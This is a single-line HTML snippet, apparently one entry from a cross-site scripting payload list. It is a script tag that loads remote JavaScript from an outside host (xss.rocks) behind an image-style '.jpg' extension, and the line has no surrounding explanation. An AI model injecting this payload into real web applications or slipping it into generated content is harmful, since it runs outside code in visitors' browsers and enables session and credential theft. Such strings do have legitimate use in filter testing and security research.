<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>